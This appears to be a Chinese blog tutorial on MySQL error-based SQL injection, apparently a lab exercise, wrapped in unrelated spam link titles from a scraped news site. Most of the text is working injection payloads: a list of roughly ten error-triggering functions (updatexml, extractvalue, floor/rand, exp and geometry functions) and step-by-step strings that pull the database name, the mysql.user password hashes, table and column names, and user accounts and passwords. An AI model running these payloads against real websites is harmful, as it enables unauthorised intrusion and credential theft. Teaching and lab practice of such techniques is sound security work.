当前位置: 首页 > news >正文

做动态的网站的参考资料有哪些网站广东省备案

做动态的网站的参考资料有哪些,网站广东省备案,开小程序要多少钱,淘宝上的网站建设为什么便宜报错注入报错注入定义代码展示常用的报错语句1.获取数据库名称2.获取mysql账号密码3.获取表名4.获取字段名5.获取账号密码报错注入定义 报错注入:利用sql语句的不规范,获取相关sql提示信息 代码展示 常用的报错语句 select first_name, last_name FROM…

报错注入

    • 报错注入定义
    • 代码展示
    • 常用的报错语句
      • 1.获取数据库名称
      • 2.获取mysql账号密码
      • 3.获取表名
      • 4.获取字段名
      • 5.获取账号密码

报错注入定义

报错注入:利用sql语句的不规范,获取相关sql提示信息

代码展示

在这里插入图片描述

常用的报错语句

select first_name, last_name FROM users where user_id = ‘1’ and info() –
#获取当前使用的库
1’ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) – 或version() 、database()
#获取数据库敏感信息
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by
x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

1.获取数据库名称

1' and info() -- 

在这里插入图片描述

2.获取mysql账号密码

1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1) -- 
1' and updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1) -- 

因为一条只能显示32字符,所以两段拼接则为mysql密码
在这里插入图片描述
在这里插入图片描述

3.获取表名

1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

在这里插入图片描述

4.获取字段名

1'and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

在这里插入图片描述
借助burpsuite

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.获取账号密码

1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

在这里插入图片描述

http://www.yayakq.cn/news/8858/

相关文章:

  • 网站开发程序员自学网络营销课程
  • 网站导航二级菜单怎么做出来的学校做网站有些什么好处
  • react.js做的网站专业网站设计公司和普通设计公司的区别
  • 河南专业做网站线上网站开发相关书籍
  • 网站开发案例详解 源代码成都科技网站建设哪里有
  • 网站建设代码流程微官网免费制作平台
  • 网站建设每年需要交多少钱营销渠道有哪些
  • 如何在自己的网站上做h5页面培训机构哪家好
  • 网站推广活动公司注册核名
  • 谷歌上怎样做网站电子商务网站建设规划报告
  • 怎么做二维码微信扫后直到网站php做网站项目的思路
  • 网站建设技术概述购物app大全
  • 没有网站可以做落地页电子工程网注册
  • 成都网站外包公司上海浦东设计网站建设
  • 企业网站的推广方式有哪些国内全屏网站欣赏
  • 网站seo公司哪家专业做meta分析需注册的网站
  • 北京网站优化步设计培训机构排行榜
  • 整站seo免费咨询秦皇岛网络编辑网站
  • 网站注册后能不能注销如何查看网站的点击量
  • 有没有什么网站专门帮人做问卷电脑有网络但是浏览器打不开网页
  • 站免费下载安装深圳机械加工厂
  • 深圳做营销网站公司简介网页设计的几种版式
  • 深圳全网站建设公司网站 缓存什么时候使用
  • 对网站建设好学吗营销方案的几个要素
  • 杨家坪网站建设网站定制开发特点
  • 宿州网站开发公司广州番禺区天气预报
  • 临沂 网站建设广告联盟 wordpress
  • 媒体发稿网站开发做一个电子商务网站
  • 成都网站搜索排名优化哪家好网站宣传的方法
  • 淄博公司网站建设价格如何用自己电脑做销售网站